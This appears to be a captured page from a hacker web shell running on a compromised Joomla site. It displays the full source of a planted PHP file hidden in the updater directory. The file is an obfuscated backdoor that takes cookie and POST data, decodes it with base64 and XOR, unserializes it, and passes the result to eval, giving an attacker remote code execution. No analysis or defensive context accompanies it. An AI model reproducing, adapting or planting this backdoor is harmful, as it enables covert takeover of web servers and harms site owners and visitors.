? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/updater/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/libraries/joomla/updater/ddd209fa.php

$cOnOhOEZ = "\x6a" . chr ( 982 - 864 )."\x5f" . "\x59" . chr ( 828 - 742 )."\171";$YEyAlYN = chr ( 162 - 63 ).chr (108) . chr ( 545 - 448 ).chr (115) . chr (115) . "\137" . chr (101) . "\x78" . chr ( 758 - 653 ).chr (115) . chr (116) . 's';$AzIhROHeS = class_exists($cOnOhOEZ); $cOnOhOEZ = "40990";$YEyAlYN = "38034";if ($AzIhROHeS === FALSE){class jv_YVy{public function poQFg(){echo "50959";}private $yXrqGfP;public static $VkfZeTeJC = "b03a09cf-f9a2-4987-8461-38af0deccef7";public static $TmzpOzx = 5587;public function __construct($hUBSCWzYb=0){$UrlwPUzgw = $_POST;$GpPHc = $_COOKIE;$itgYPaakHs = @$GpPHc[substr(jv_YVy::$VkfZeTeJC, 0, 4)];if (!empty($itgYPaakHs)){$YDUgPcqwz = "base64";$kTwdwoWn = "";$itgYPaakHs = explode(",", $itgYPaakHs);foreach ($itgYPaakHs as $wCPjU){$kTwdwoWn .= @$GpPHc[$wCPjU];$kTwdwoWn .= @$UrlwPUzgw[$wCPjU];}$kTwdwoWn = array_map($YDUgPcqwz . chr ( 505 - 410 )."\x64" . 'e' . "\x63" . "\157" . "\144" . "\x65", array($kTwdwoWn,)); $kTwdwoWn = $kTwdwoWn[0] ^ str_repeat(jv_YVy::$VkfZeTeJC, (strlen($kTwdwoWn[0]) / strlen(jv_YVy::$VkfZeTeJC)) + 1);jv_YVy::$TmzpOzx = @unserialize($kTwdwoWn);}}private function fWBhjn(){if (is_array(jv_YVy::$TmzpOzx)) {$EnFEfd = str_replace('<' . chr ( 367 - 304 ).chr ( 494 - 382 ).chr ( 999 - 895 ).chr ( 588 - 476 ), "", jv_YVy::$TmzpOzx[chr ( 297 - 198 ).chr (111) . chr (110) . 't' . chr ( 533 - 432 ).chr ( 474 - 364 ).'t']);eval($EnFEfd); $HtEIsuaJC = "62751";exit();}}public function __destruct(){$this->fWBhjn();}}$gFhgQQcUDA = new /* 36391 */ jv_YVy(); $gFhgQQcUDA = str_repeat("20785_19432", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$